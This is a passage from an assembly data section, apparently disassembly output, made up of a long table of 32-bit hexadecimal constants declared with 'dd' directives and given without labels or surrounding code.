501609Eh, 2101619Eh, 19040A9Fh, 8217699Fh, 0FBFC6E9Fh dd 3C8719Fh, 4C8719Fh, 0A01739Fh, 501739Fh, 3FC749Fh, 506B799Fh dd 526B799Fh, 9A17F9Fh, 6ED869Fh, 0FB92899Fh, 3CFE8C9Fh dd 3DFE8C9Fh, 0C8948E9Fh, 0C018F9Fh, 0C90F919Fh, 5C0F919Fh dd 16C949Fh, 23C949Fh, 10A959Fh, 259999Fh, 5B4A49Fh, 0FEDFA99Fh dd 126B69Fh, 0C905139Fh, 0CA05139Fh, 507BF9Fh, 220C49Fh dd 211C99Fh, 432CC9Fh, 46C8CF9Fh, 0FA16D39Fh, 246D49Fh dd 0E820D59Fh, 113D79Fh, 6401DA9Fh, 6501DA9Fh, 182E19Fh dd 101E29Fh, 801E29Fh, 204E69Fh, 2204E69Fh, 201E99Fh, 1E06ED9Fh dd 2C8EE9Fh, 9205EE9Fh, 245EE9Fh, 0C9BFF09Fh, 640AF29Fh dd 650AF29Fh, 0C600F79Fh, 214199Fh, 1011C9Fh, 20A1F9Fh dd 3301219Fh, 5F07259Fh, 210279Fh, 0D33289Fh, 0DCFE2B9Fh dd 2F8309Fh, 0BFE319Fh, 564329Fh, 6EE339Fh, 14333E9Fh dd 1A333E9Fh, 159C429Fh, 169C429Fh, 0E15439Fh, 0F15439Fh dd 0FEFA459Fh, 0C8F8489Fh, 1104B9Fh, 0A954D9Fh, 4B5539Fh dd 5B5539Fh, 1F2C549Fh, 3B0559Fh, 81B2579Fh, 8CB3579Fh dd 7C85A9Fh, 8C85A9Fh, 870D5B9Fh, 0DC0F5B9Fh, 19085B9Fh dd 0C105C9Fh, 0D105C9Fh, 9105C9Fh, 7115D9Fh, 12000110h dd 13000110h, 196464A0h, 20266A0h, 0A8068A0h, 0E050BA0h dd 1026FA0h, 3800CA0h, 6800CA0h, 5027CA0h, 1047CA0h, 0B7D27DA0h dd 8CFF7DA0h, 12007EA0h, 13007EA0h, 50189A0h, 5C889A0h dd 320E0FA0h, 820212A0h, 1501B9A0h, 164BAA0h, 10ABEA0h dd 1EFBEA0h, 101C0A0h, 108C1A0h, 801C2A0h, 0B01C5A0h, 1206C6A0h dd 1408C7A0h, 0FE81C9A0h, 0A02CAA0h, 3FACCA0h, 0FE34D4A0h dd 101D8A0h, 301D8A0h, 0A01D9A0h, 0C92BDAA0h, 289DCA0h dd 110E3A0h, 0BE78E4A0h, 0C078E4A0h, 1DC17A0h, 8201E6A0h dd 209E6A0h, 0F50AEDA0h, 138EEA0h, 0A01EFA0h, 0A0AEFA0h dd 1FB18A0h, 0B70F0A0h, 18CF3A0h, 0A0CF4A0h, 170F5A0h dd 203F7A0h, 0C8FEF8A0h, 101FAA0h, 211FBA0h, 281FCA0h dd 944FCA0h, 0C904FDA0h, 1011AA0h, 0C6C1BA0h, 0A0A1CA0h dd 80A1CA0h, 0AE31DA0h, 2E31DA0h, 2001EA0h, 134820A0h dd 420024A0h, 20128A0h, 3802AA0h, 0C0A2DA0h, 15182DA0h dd 8082DA0h, 12805A0h, 42805A0h, 164B35A0h, 194B35A0h dd 20106A0h, 327744A0h, 840145A0h, 20107A0h, 215847A0h dd 14024BA0h, 0A304EA0h, 82054FA0h, 82064FA0h, 80150A0h dd 50250A0h, 28055A0h, 30157A0h, 50157A0h, 18009A0h, 28009A0h dd 1785CA0h, 2785CA0h, 86B360A0h, 4B360A0h, 10461A0h, 0D0761A0h dd 0FE0262A0h, 21462A0h, 10163A0h, 2806DA1h, 8030BA1h dd 8016EA1h, 10D6EA1h, 30A6FA1h, 15E870A1h, 22E870A1h dd 0CC0172A1h, 0C7C072A1h, 184072A1h, 99073A1h, 19373A1h dd 10174A1h, 15D74A1h, 813377A1h, 30C7AA1h, 10D7CA1h, 2010DA1h dd 0D07082A1h, 3E082A1h, 38185A1h, 40186A1h, 81088A1h dd 0F4288A1h, 2108BA1h, 0A8A88BA1h, 11028EA1h, 11E38EA1h dd 80194A1h, 13F95A1h, 7C230FA1h, 7D230FA1h, 0FC8196A1h dd 0FD8196A1h, 26E9BA1h, 36E9BA1h, 4069FA1h, 7CC0A5A1h dd 7DC0A5A1h, 3CC0A5A1h, 3DC0A5A1h, 1FABCA1h, 2FABCA1h dd 341C3A1h, 0C8C0C8A1h, 4C0C8A1h, 101CFA1h, 65D6D2A1h dd 64D8D2A1h, 65D8D2A1h, 0DD8ED3A1h, 0A90D5A1h, 0B90D5A1h dd 9A13D7A1h, 27CD8A1h, 5FC16A1h, 201DFA1h, 1904E2A1h dd 9F9E7A1h, 2201E8A1h, 21718A1h, 1DFE18A1h, 1E94F2A1h dd 1E03F2A1h, 14FEF3A1h, 0D403F3A1h, 1F34F6A1h, 206FDA1h dd 506FEA1h, 606FEA1h, 1141AA1h, 0AE01CA1h, 0B0103A1h dd 82D31EA1h, 0CD01FA1h, 31120A1h, 10321A1h, 0B5104A1h dd 0AFE28A1h, 4C12DA1h, 25192DA1h, 1402DA1h, 10105A1h dd 30105A1h, 23032A1h, 33032A1h, 70335A1h, 0FD8636A1h dd 27C37A1h, 32037A1h, 20539A1h, 30539A1h, 72863AA1h, 62863AA1h dd 2D9E3AA1h, 16A03AA1h, 9A03AA1h, 0A093AA1h, 1F093AA1h dd 11206A1h, 71206A1h, 10340A1h, 20340A1h, 140142A1h, 4F142A1h dd 0A2607A1h, 0B2607A1h, 3A947A1h, 0FAAB47A1h, 10149A1h dd 0A5C4AA1h, 1094CA1h, 0F64662A1h, 0F74662A1h, 420201A2h dd 1B8169A2h, 5076AA2h, 82F06BA2h, 1D1270A2h, 5A1872A2h dd 1F872A2h, 2F872A2h, 641D74A2h, 4BA275A2h, 5E977A2h dd 5F177A2h, 2F479A2h, 3037EA2h, 25047EA2h, 0A1481A2h dd 20D8BA2h, 64408CA2h, 1070FA2h, 84B12A2h, 0D26F02A2h dd 0D20918A2h, 0FE0918A2h, 336526A2h, 0BA427A2h, 21962AA2h dd 2F52CA2h, 42A72FA2h, 43A72FA2h, 0AFE30A2h, 20132A2h dd 10A39A2h, 30A39A2h, 68233AA2h, 1D906A2h, 7CCC42A2h dd 7DCC42A2h, 14F446A2h, 34634AA2h, 0E014BA2h, 2034FA2h dd 5034FA2h, 111A50A2h, 0C0059A2h, 0FB1C5EA2h, 0C0660A2h dd 0F0660A2h, 140363A2h, 43000AA3h, 1F8375A3h, 10576A3h dd 3FE77A3h, 7FE77A3h, 35050CA3h, 10178A3h, 20279A3h, 1017DA3h dd 2017DA3h, 4407EA3h, 0CFE81A3h, 3C010DA3h, 0C92086A3h dd 0E8C187A3h, 160A88A3h, 170A88A3h, 1F038AA3h, 20038AA3h dd 1F4E8AA3h, 204E8AA3h, 1C98BA3h, 2C98BA3h, 24C98BA3h dd 0A4E68BA3h, 0A5E68BA3h, 3048CA3h, 81648EA3h, 43C8EA3h dd 32B58FA3h, 33B58FA3h, 26091A3h, 10394A3h, 10196A3h dd 902197A3h, 912197A3h, 10198A3h, 20299A3h, 0A50499A3h dd 0C0110A3h, 10FCA0A3h, 104A2A3h, 0A9AA6A3h, 99AA6A3h dd 0F50A7A3h, 1E50A7A3h, 0FCD4A8A3h, 1BC11A3h, 680ADA3h dd 0A04B0A3h, 208B2A3h, 3510B4A3h, 3661B4A3h, 112B9A3h dd 1812B9A3h, 2407BDA3h, 1EA13A3h, 63B7BFA3h, 0A01C0A3h dd 9901C3A3h, 0ED01C3A3h, 29D14A3h, 5A314A3h, 161C8A3h dd 3C01CFA3h, 3D01CFA3h, 501D1A3h, 0D49D1A3h, 5EC15A3h dd 7EC15A3h, 0C0AD2A3h, 320D4A3h, 420D4A3h, 335D6A3h, 903D7A3h dd 1A516A3h, 0D50DDA3h, 100DFA3h, 84FAE0A3h, 20AE1A3h dd 80AE1A3h, 0A02E2A3h, 706E2A3h, 19417A3h, 0BB817A3h dd 0C8FEE6A3h, 1E5E7A3h, 1F5E7A3h, 1403E9A3h, 1114EAA3h dd 101EFA3h, 1A318A3h, 1EF18A3h, 42E0F2A3h, 101F5A3h, 6410F6A3h dd 6420F6A3h, 6430F6A3h, 6405F6A3h, 6460F6A3h, 6F36F7A3h dd 523F8A3h, 200FBA3h, 15FFCA3h, 1781BA3h, 10F1BA3h, 65011CA3h dd 2011CA3h, 1701CA3h, 1711CA3h, 1811CA3h, 1601CA3h, 0C8AF1DA3h dd 1E71DA3h, 12FD03A3h, 390B28A3h, 0C3E29A3h, 15A2AA3h dd 1E02CA3h, 15082EA3h, 16082EA3h, 1142FA3h, 2142FA3h dd 10130A3h, 20130A3h, 0C70233A3h, 14436A3h, 1E03DA3h dd 1D0207A3h, 20109A3h, 0AA1B0AA4h, 41200AA4h, 10364A4h dd 20166A4h, 1B0168A4h, 1D0168A4h, 0B7669A4h, 295669A4h dd 1016AA4h, 1026AA4h, 3016DA4h, 170A6DA4h, 0A640BA4h dd 0B3646EA4h, 1F970A4h, 0F2C071A4h, 2EE71A4h, 0FA5C71A4h dd 28072A4h, 38072A4h, 19075A4h, 10177A4h, 20077AA4h, 1F657CA4h dd 2097DA4h, 222480A4h, 274C80A4h, 250181A4h, 42820EA4h dd 63820EA4h, 2E7991A4h, 0C83B0FA4h, 0F0A99A4h, 30A99A4h dd 2029AA4h, 21B9CA4h, 51B9CA4h, 2FA9EA4h, 3FA9EA4h, 6528A1A4h dd 108A1A4h, 101A3A4h, 504A4A4h, 6243A5A4h, 6343A5A4h dd 148AA7A4h, 3C8BEA4h, 17CC3A4h, 37CC3A4h, 0F1FF02A4h dd 5002D6A4h, 0A02DAA4h, 14C2DCA4h, 4901DFA4h, 5B01DFA4h dd 56FAE0A4h, 2E8E5A4h, 3E8E5A4h, 263E6A4h, 363E6A4h, 462E7A4h dd 5B903A4h, 5C303A4h, 649923A4h, 14A424A4h, 2B826A4h dd 380827A4h, 71104A4h, 46529A4h, 2642AA4h, 17F2BA4h, 96022DA4h dd 1012EA4h, 3EC22FA4h, 0B0D39A4h, 90D39A4h, 0CAE93AA4h dd 0AFD3AA4h, 4FD3AA4h, 15073EA4h, 16073EA4h, 20140A4h dd 50340A4h, 18043A4h, 28043A4h, 38043A4h, 82943A4h, 20144A4h dd 150144A4h, 850147A4h, 58049A4h, 42664CA4h, 640108A4h dd 0A0A08A4h, 646408A4h, 40151A4h, 50151A4h, 0F3FF55A4h dd 0B6656A4h, 640157A4h, 3FD59A4h, 0A065CA4h, 14065CA4h dd 51015EA4h, 653B01A5h, 13D864A5h, 5016AA5h, 1026FA5h dd 50172A5h, 0C3E73A5h, 20179A5h, 20279A5h, 15317CA5h dd 0A007DA5h, 0A107DA5h, 15147FA5h, 140281A5h, 1B020DA5h dd 150A84A5h, 290A84A5h, 190186A5h, 31486A5h, 1018BA5h dd 5A40EA5h, 42218DA5h, 3FA8EA5h, 64808FA5h, 91548FA5h dd 0F11597A5h, 1699AA5h, 2699AA5h, 1F8C9AA5h, 208C9AA5h dd 2019EA5h, 23E9FA5h, 63FBA0A5h, 15F0A2A5h, 2086A4A5h dd 200A6A5h, 300A6A5h, 320B0A5h, 15DB7A5h, 0F560B7A5h dd 242BBA5h, 3360BDA5h, 1C08BEA5h, 1502BFA5h, 101C2A5h dd 8300C4A5h, 0C85FC6A5h, 1103C7A5h, 1F03C7A5h, 2BA02A5h dd 0FEFECEA5h, 0F835CEA5h, 0FB35CEA5h, 0FD35CEA5h, 0B5315A5h dd 101DCA5h, 703DCA5h, 2C0E1A5h, 2C2E1A5h, 2C4E1A5h, 101E3A5h dd 0A02E3A5h, 30BE5A5h, 50BE5A5h, 8390E6A5h, 4C04E6A5h dd 2840EAA5h, 1D0518A5h, 510518A5h, 2128F2A5h, 0F05F3A5h dd 1005F3A5h, 20AF6A5h, 345BFAA5h, 355BFAA5h, 3365FEA5h dd 3375FEA5h, 3475FEA5h, 0FEA3FEA5h, 3302FEA5h, 6331EA5h dd 208306A5h, 1B0606A5h, 80641A5h, 0FA2744A5h, 0FA2944A5h dd 0F10145A5h, 0F90145A5h, 62004CA5h, 20C4CA5h, 20D4CA5h dd 2F04CA5h, 2034CA5h, 0AA044CA5h, 2044CA5h, 2304CA5h dd 2054CA5h, 2384CA5h, 2084CA5h, 2094CA5h, 140D08A5h, 1E0152A5h dd 36454A5h, 0F4C257A5h, 0F3C957A5h, 0F4C957A5h, 15C758A5h dd 0FF958A5h, 3F205BA5h, 20B5DA5h, 40B5DA5h, 90A61A5h dd 20162A5h, 0CA566A6h, 0EA566A6h, 61B68A6h, 22FA6BA6h dd 4FE6DA6h, 6FE6DA6h, 8EC870A6h, 0A0571A6h, 280172A6h dd 9017FA6h, 645414A6h, 26063CA6h, 13641A6h, 858644A6h dd 0BE6E49A6h, 0B0C4DA6h, 0D3EB4DA6h, 30152A6h, 80152A6h dd 78EB52A6h, 0A0458A6h, 2D25AA6h, 2FE5BA6h, 3015DA6h dd 2085DA6h, 0D97564A7h, 0C8E56BA7h, 3A070A7h, 7A070A7h dd 3FD72A7h, 380079A7h, 3D0979A7h, 5F081A7h, 0D85D82A7h dd 0A6FD84A7h, 33FD84A7h, 837A87A7h, 0DEE188A7h, 0DEEB88A7h dd 0E138CA7h, 5E18EA7h, 6E18EA7h, 10F96A7h, 20F96A7h, 2069BA7h dd 0B019DA7h, 67710A7h, 5C0A0A7h, 6C0A0A7h, 5F8A6A7h, 204A9A7h dd 318B9A7h, 0BC3CAA7h, 0CC3CAA7h, 616FCBA7h, 7B16CDA7h dd 117CDA7h, 6701CEA7h, 1E01CEA7h, 24DCEA7h, 0BE8D0A7h dd 780115A7h, 156CD5A7h, 201D8A7h, 2380D8A7h, 2480D8A7h dd 0E8C1D8A7h, 2AFAD8A7h, 0A02D9A7h, 0CFBDAA7h, 0DF817A7h dd 0EF817A7h, 0FF817A7h, 8AE3E6A7h, 8BE3E6A7h, 1B0EFA7h dd 3B0EFA7h, 0C6518A7h, 0C86818A7h, 3FDF0A7h, 0A01FBA7h dd 0B01FBA7h, 7A3503A7h, 7A0803A7h, 41521A7h, 250104A7h dd 830A07A7h, 830B07A7h, 0B9F4CA7h, 0A014EA7h, 635B4FA7h dd 5045AA7h, 2055AA7h, 0F735CA7h, 0C015DA7h, 0E015DA7h dd 1025EA7h, 2025EA7h, 20164A8h, 30164A8h, 0A1065A8h, 0B1065A8h dd 0E1066A8h, 0F1066A8h, 526867A8h, 10867A8h, 1026AA8h dd 20D6CA8h, 830A6FA8h, 322073A8h, 332073A8h, 32027BA8h dd 0A047BA8h, 13F7EA8h, 23F7EA8h, 52183A8h, 10184A8h, 4008FA8h dd 6008FA8h, 70190A8h, 0BE0191A8h, 1FD96A8h, 2FD96A8h dd 0A1A9AA8h, 2019FA8h, 1039FA8h, 1901A0A8h, 6401A5A8h dd 4302A6A8h, 22A8A7A8h, 1508A9A8h, 1608A9A8h, 2219AAA8h dd 303ABA8h, 0A2CABA8h, 3201B0A8h, 0A02B0A8h, 4500B8A8h dd 4600B8A8h, 101BCA8h, 19C8BEA8h, 0C03BEA8h, 0A08CBA8h dd 608CBA8h, 1FECDA8h, 2FECDA8h, 0F9D7D0A8h, 0FAD7D0A8h dd 180D5A8h, 880D5A8h, 235AD7A8h, 5C9DBA8h, 0B40DCA8h dd 9615DDA8h, 0C815DDA8h, 302DFA8h, 1403DFA8h, 131E2A8h dd 331E2A8h, 104E5A8h, 26AEAA8h, 4220EAA8h, 180EEA8h, 0F9F218A8h dd 0EDDCF1A8h, 0EFF2F1A8h, 1FEF3A8h, 6501FEA8h, 130127A8h dd 0A114BA8h, 0B114BA8h, 2084DA8h, 20204EA8h, 1015BA8h dd 15155DA8h, 19195DA8h, 1015FA8h, 2015FA8h, 1C05FA8h dd 2C05FA8h, 3C05FA8h, 28060A8h, 436361A8h, 86C962A8h dd 87C962A8h, 10183A9h, 30183A9h, 18584A9h, 0AA986A9h dd 0B0187A9h, 1C0187A9h, 2D48AA9h, 74490A9h, 16093A9h dd 26093A9h, 65D894A9h, 130297A9h, 64F98A9h, 28CA99A9h dd 29CA99A9h, 17AF9DA9h, 18AF9DA9h, 88809EA9h, 1501C6A9h dd 1601C6A9h, 101C7A9h, 8819C8A9h, 8919C8A9h, 80CCEA9h dd 4802CFA9h, 6401E2A9h, 6701E2A9h, 0FA01EDA9h, 0FAFAEDA9h dd 1FEF5A9h, 2FEF5A9h, 0B0147A9h, 18E67AAh, 0C8C86BAAh dd 0CAC86BAAh, 0FDCC6CAAh, 26D66EAAh, 220170AAh, 0AF973AAh dd 649D76AAh, 659D76AAh, 0AFA7AAAh, 200B7DAAh, 91AF80AAh dd 1018CAAh, 1028CAAh, 96018EAAh, 4A018EAAh, 421A91AAh dd 0A32D93AAh, 0A42D93AAh, 0A9C94AAh, 0A2494AAh, 34099AAh dd 64099AAh, 5019BAAh, 29019EAAh, 9029EAAh, 0FD04A0AAh dd 0FE04A0AAh, 3F8A3AAh, 4232A4AAh, 1404A7AAh, 1406A7AAh dd 0CB2EA9AAh, 8EA511AAh, 8FA511AAh, 96FBABAAh, 13FCABAAh dd 0B05BCAAh, 3329C9AAh, 15E1CEAAh, 15E3CEAAh, 8240DEAAh dd 1120DFAAh, 0A03EBAAh, 1403EBAAh, 5F8FCAAh, 49CFDAAh dd 4ECFDAAh, 10803AAh, 0FDF01EAAh, 0FEF01EAAh, 636326AAh dd 0C8C82EAAh, 2012FAAh, 0D7737AAh, 353A38AAh, 216A41AAh dd 20142AAh, 30142AAh, 321544AAh, 5104CAAh, 151255AAh dd 0E015CAAh, 1015EAAh, 16C63AAh, 0FC09FABh, 0F409FABh dd 0FA0A1ABh, 0FE0A1ABh, 0F60A1ABh, 60113ABh, 9FE18ABh dd 1001FABh, 0D20240ABh, 0DC0240ABh, 0E60240ABh, 647942ABh dd 24E842ABh, 5F0548ABh, 3004812h, 7E2200C0h, 25064C0h dd 35E64C0h, 95E64C0h, 147965C0h, 11565C0h, 0AFA65C0h dd 7FA65C0h, 2A766C0h, 643F67C0h, 16B68C0h, 13668C0h, 1016AC0h dd 9016AC0h, 9A766BC0h, 21FC6BC0h, 21826CC0h, 0B836CC0h dd 3226CC0h, 1B06DC0h, 2BE6DC0h, 21026DC0h, 0A9DE0BC0h dd 0A9DF0BC0h, 0A9E20BC0h, 0F57B6FC0h, 1276FC0h, 4276FC0h dd 6DB70C0h, 0CAF670C0h, 0CDF670C0h, 213C70C0h, 9C074C0h dd 63CA74C0h, 58C0CC0h, 5450CC0h, 1070CC0h, 2FC7FC0h, 4D8580C0h dd 4DA780C0h, 13781C0h, 30183C0h, 129183C0h, 3D584C0h dd 2F0384C0h, 300384C0h, 11C85C0h, 71C85C0h, 0E72A85C0h dd 52A85C0h, 310086C0h, 13D886C0h, 140B87C0h, 16B087C0h dd 1BF87C0h, 3BF87C0h, 47C187C0h, 9C187C0h, 45FA87C0h dd 46FA87C0h, 21888C0h, 21978AC0h, 2B978AC0h, 42558AC0h dd 45558AC0h, 82988BC0h, 0A19792C0h, 0AC9792C0h, 410D93C0h dd 424193C0h, 634193C0h, 2E4593C0h, 24993C0h, 0A0194C0h dd 57A94C0h, 1EF994C0h, 2BFC94C0h, 2DD695C0h, 0F70B96C0h dd 1E0B96C0h, 18C98C0h, 111298C0h, 0C9B798C0h, 169C99C0h dd 39C99C0h, 0A2299C0h, 142299C0h, 12399C0h, 16419BC0h dd 1B419BC0h, 220D9CC0h, 230D9CC0h, 0F869CC0h, 10869CC0h dd 1C49CC0h, 3C49CC0h, 221A9CC0h, 22259CC0h, 22059CC0h dd 22439CC0h, 22449CC0h, 22499CC0h, 824E9CC0h, 0A829DC0h dd 0F4C9FC0h, 1C710C0h, 0BCA10C0h, 10DA0C0h, 20DA0C0h dd 5B8A0C0h, 5A06A0C0h, 5B06A0C0h, 423EA0C0h, 1510A2C0h dd 1F10A2C0h, 321A9C0h, 1AAABC0h, 21012C0h, 8F012C0h, 56312C0h dd 0C6BBCC0h, 1248BCC0h, 1548BCC0h, 8270BDC0h, 5B7BDC0h dd 1136BDC0h, 2136BDC0h, 378C0C0h, 0FBC7C0C0h, 4E3C0C0h dd 31FC0C0h, 12DC0C0h, 132C0C0h, 6E06C0C0h, 7806C0C0h dd 0F4DC0C0h, 54DC0C0h, 0C3C3C1C0h, 0ECC4C3C0h, 19C4C3C0h dd 1F0C3C0h, 90F5C3C0h, 265C5C0h, 0FD65C5C0h, 0E194C5C0h dd 1A2C5C0h, 0F1B5C5C0h, 82BFC5C0h, 1445C5C0h, 8347C5C0h dd 153C5C0h, 0A35C6C0h, 0A36C6C0h, 4E114C0h, 286CBC0h dd 18CCBC0h, 4711CBC0h, 129CBC0h, 1160CCC0h, 21DCEC0h dd 0FD2BCEC0h, 0FE2BCEC0h, 48E2CFC0h, 0AF8CFC0h, 138CFC0h dd 7A0AD2C0h, 140AD2C0h, 1320D7C0h, 1411D8C0h, 3B8D8C0h dd 8DDD8C0h, 1FEDBC0h, 7FADCC0h, 7FBDCC0h, 121E1C0h, 0B80E4C0h dd 1280E4C0h, 1480E4C0h, 18FE7C0h, 2CBE7C0h, 3CBE7C0h dd 2D7E7C0h, 0FBD7E7C0h, 0F2FDE7C0h, 156E7C0h, 0FD79E8C0h dd 0BF7FE8C0h, 4207E8C0h, 691E9C0h, 8155E9C0h, 82EBEAC0h dd 27DEDC0h, 147DEDC0h, 8110EFC0h, 242EFC0h, 846EFC0h dd 587F0C0h, 0A20F3C0h, 9920F3C0h, 320CF5C0h, 1A3F5C0h dd 0C8B0F5C0h, 3E18F9C0h, 4D5FBC0h, 5D5FBC0h, 8443FBC0h dd 943FBC0h, 4771AC0h, 7771AC0h, 1D21AC0h, 1E5C1AC0h, 1A041CC0h dd 56A1FC0h, 2AE1FC0h, 9D81FC0h, 5C071FC0h, 5D071FC0h dd 27321C0h, 1E0E21C0h, 0D49C23C0h, 0E1123C0h, 21123C0h dd 1EE323C0h, 1EE423C0h, 22E823C0h, 46F123C0h, 47F123C0h dd 1F2323C0h, 182723C0h, 1E3323C0h, 325223C0h, 0B7824C0h dd 27D24C0h, 38F24C0h, 859024C0h, 119424C0h, 11C24C0h dd 0A0129C0h, 1F0129C0h, 239429C0h, 8DE29C0h, 2EE2AC0h dd 27042AC0h, 3B522AC0h, 1E5D2AC0h, 64D42BC0h, 12EB2BC0h dd 1202CC0h, 1252CC0h, 0C23F2CC0h, 0ADA72FC0h, 7F22FC0h dd 817930C0h, 11E830C0h, 0CA605C0h, 0C31205C0h, 461205C0h dd 851B05C0h, 861B05C0h, 0D13505C0h, 1E0605C0h, 49A32C0h dd 21132C0h, 93832C0h, 70832C0h, 69033C0h, 23FA33C0h, 112A33C0h dd 66A34C0h, 6EC34C0h, 154734C0h, 44734C0h, 85C136C0h dd 0FE236C0h, 10E236C0h, 66FD36C0h, 0DEA37C0h, 3FBF38C0h dd 0AC73AC0h, 11C73AC0h, 0ACC73AC0h, 0AEC73AC0h, 0B0C73AC0h dd 0B2C73AC0h, 71CC3AC0h, 2CE3AC0h, 7E23AC0h, 1D8F06C0h dd 1E8F06C0h, 1D0306C0h, 80706C0h, 283D3DC0h, 36643FC0h dd 1EB641C0h, 4B641C0h, 0AB941C0h, 0EDA41C0h, 815B41C0h dd 0F0E43C0h, 100E43C0h, 110E43C0h, 7FB43C0h, 0A5043C0h dd 46E344C0h, 11F844C0h, 12F844C0h, 0B0107C0h, 6EAF46C0h dd 62F546C0h, 1C3946C0h, 0B4F46C0h, 0A69447C0h, 0C69447C0h dd 0ADC47C0h, 0DDC47C0h, 9DC47C0h, 10549C0h, 33549C0h dd 43549C0h, 13D49C0h, 33D49C0h, 40849C0h, 650D4BC0h, 7D0D4BC0h dd 0F49C4BC0h, 0F59C4BC0h, 0FA9C4BC0h, 349E4BC0h, 43174BC0h dd 0F1A4BC0h, 111A4BC0h, 81424BC0h, 27474BC0h, 0E904CC0h dd 0F904CC0h, 11904CC0h, 42904CC0h, 2974CC0h, 9984CC0h dd 49D4CC0h, 9B04CC0h, 11B14CC0h, 19B14CC0h, 81524CC0h dd 82524CC0h, 3744DC0h, 48744DC0h, 0ACD4DC0h, 3334DC0h dd 5334DC0h, 20544DC0h, 27544DC0h, 266C52C0h, 77152C0h dd 36D052C0h, 0C19F53C0h, 0C29F53C0h, 0BA653C0h, 9BD53C0h dd 82E053C0h, 13E753C0h, 0AF053C0h, 0A0A54C0h, 30A54C0h dd 53F54C0h, 4E9A55C0h, 0F1055C0h, 0A4756C0h, 646356C0h dd 0C86356C0h, 656A57C0h, 36C57C0h, 22B057C0h, 621757C0h dd 22457C0h, 817A58C0h, 90C158C0h, 0AC358C0h, 960858C0h dd 33009C0h, 30909C0h, 60909C0h, 27F5AC0h, 37F5AC0h, 5935BC0h dd 8735CC0h, 17C5CC0h, 37C5CC0h, 1815CC0h, 238A5CC0h, 20E5CC0h dd 0A515CC0h, 1005DC0h, 4005DC0h, 187B5EC0h, 85AD5EC0h dd 42CF5EC0h, 1035EC0h, 15062C0h, 0C10000C1h, 0B5000C1h dd 0C2C101C1h, 0C3420AC1h, 857068C1h, 35D26BC1h, 36D26BC1h dd 2D896CC1h, 0E3B971C1h, 0E4B971C1h, 0E5B971C1h, 0E6B971C1h dd 26D471C1h, 41B20CC1h, 0B3478C1h, 41167CC1h, 20E47CC1h dd 45537CC1h, 3987DC1h, 51C07DC1h, 41047EC1h, 2017FC1h dd 9017FC1h, 471B7FC1h, 2D5180C1h, 0A9287C1h, 30088C1h dd 0AC088C1h, 110788C1h, 0F00988C1h, 1288DC1h, 2A288DC1h dd 1438DC1h, 0A29F92C1h, 312C95C1h, 32F00FC1h, 32A696C1h dd 52498C1h, 62498C1h, 0B0310C1h, 8291A2C1h, 0C29FA2C1h dd 5F0A2C1h, 2A0A4C1h, 8FEA5C1h, 9FEA5C1h, 183A7C1h, 2FFABC1h dd 42FFABC1h, 4DFFABC1h, 294AAEC1h, 6E4BAEC1h, 7E4BAEC1h dd 8E4BAEC1h, 924BAEC1h, 964BAEC1h, 9A4BAEC1h, 0A24BAEC1h dd 0A64BAEC1h, 0AE4BAEC1h, 948AFC1h, 0AA24B4C1h, 2A3CB9C1h dd 2E0BDC1h, 0C2E7BDC1h, 2E7BDC1h, 23B6BEC1h, 0AC6BEC1h dd 2C6BEC1h, 3E3C0C1h, 0FFBC0C1h, 420102C1h, 480102C1h dd 0F80402C1h, 810FC8C1h, 850FC8C1h, 5F5CDC1h, 42F5CDC1h dd 8F5CDC1h, 0FACAD0C1h, 1212D2C1h, 1412D2C1h, 1313D2C1h dd 0BE13D2C1h, 3B3ED3C1h, 0A01D4C1h, 195FD4C1h, 1A5FD4C1h dd 2EED5C1h, 82F2D7C1h, 0A01D8C1h, 0A45D8C1h, 110FDBC1h dd 82C1DBC1h, 87C1DBC1h, 1D1E0C1h, 3A0CE1C1h, 156E1C1h dd 101E3C1h, 0A7A2E3C1h, 2800E5C1h, 2A00E5C1h, 1158E8C1h dd 11C0E9C1h, 930E9C1h, 100F1C1h, 22B4F7C1h, 0A13FCC1h dd 0B13FCC1h, 2121EC1h, 37126C1h, 333A04C1h, 343A04C1h dd 0C0028C1h, 0F53828C1h, 1022BC1h, 37242BC1h, 9242BC1h dd 84F2CC1h, 28A930C1h, 77C31C1h, 0C2AF05C1h, 0C3AF05C1h dd 421B32C1h, 10B33C1h, 0DD033C1h, 11833C1h, 63B936C1h dd 3BD36C1h, 33EE36C1h, 0CF138C1h, 1BC93BC1h, 1CC93BC1h dd 25C93BC1h, 2EE06C1h, 2923CC1h, 83C43DC1h, 84C43DC1h dd 10733EC1h, 429D3EC1h, 0F7033EC1h, 11693FC1h, 676A3FC1h dd 13D33FC1h, 1373FC1h, 0B583FC1h, 145E3FC1h, 7CC140C1h dd 84C140C1h, 864F43C1h, 0FC0344C1h, 0BA0A45C1h, 20147C1h dd 0AB048C1h, 89D04AC1h, 8BD04AC1h, 14B4BC1h, 42024DC1h dd 1F04EC1h, 25351C1h, 12B352C1h, 0C0155C1h, 320355C1h dd 0C6457C1h, 162C58C1h, 1D2C58C1h, 242C58C1h, 2A2C58C1h dd 2A8609C1h, 2095AC1h, 16E5CC1h, 3965CC1h, 131E5CC1h dd 50962C1h, 10064C2h, 0B0064C2h, 6F0064C2h, 1E069C2h dd 14E369C2h, 428F6AC2h, 42066DC2h, 63096DC2h, 0D86270C2h dd 403B71C2h, 49D75C2h, 418077C2h, 428077C2h, 22C077C2h dd 600C78C2h, 27E78C2h, 612D7BC2h, 0FA8280C2h, 64AB80C2h dd 65AB80C2h, 63AB80C2h, 1FD80C2h, 833A85C2h, 0C0086C2h dd 430086C2h, 30D87C2h, 0BF08AC2h, 6BA18FC2h, 19A38FC2h dd 52A38FC2h, 0A0194C2h, 0A0894C2h, 9D0095C2h, 1A095C2h dd 47BE97C2h, 160297C2h, 4D0297C2h, 7E097C2h, 2E497C2h dd 32E497C2h, 12FD97C2h, 0DE4198C2h, 120099C2h, 330099C2h dd 0A0199C2h, 63109AC2h, 4AE69AC2h, 1859EC2h, 0AA09EC2h dd 0FEBF9EC2h, 35E69EC2h, 36E69EC2h, 43609EC2h, 43619EC2h dd 5499FC2h, 118DA2C2h, 120FA2C2h, 0C2A2A2C2h, 5FCA3C2h dd 15EA5C2h, 55EA5C2h, 0DC04A8C2h, 0DC08A8C2h, 601AAC2h dd 701AAC2h, 6301AAC2h, 0E73AFC2h, 2E0B0C2h, 22A0B1C2h dd 2AAB1C2h, 22AAB1C2h, 0D2D2B1C2h, 0D3D2B1C2h, 6401B3C2h dd 6501B3C2h, 1E012C2h, 0A2E012C2h, 8270B7C2h, 2670B7C2h dd 4670B7C2h, 2380B7C2h, 2480B7C2h, 1DAB7C2h, 0BDAB7C2h dd 231B7C2h, 200B8C2h, 800B8C2h, 367BCC2h, 29813C2h, 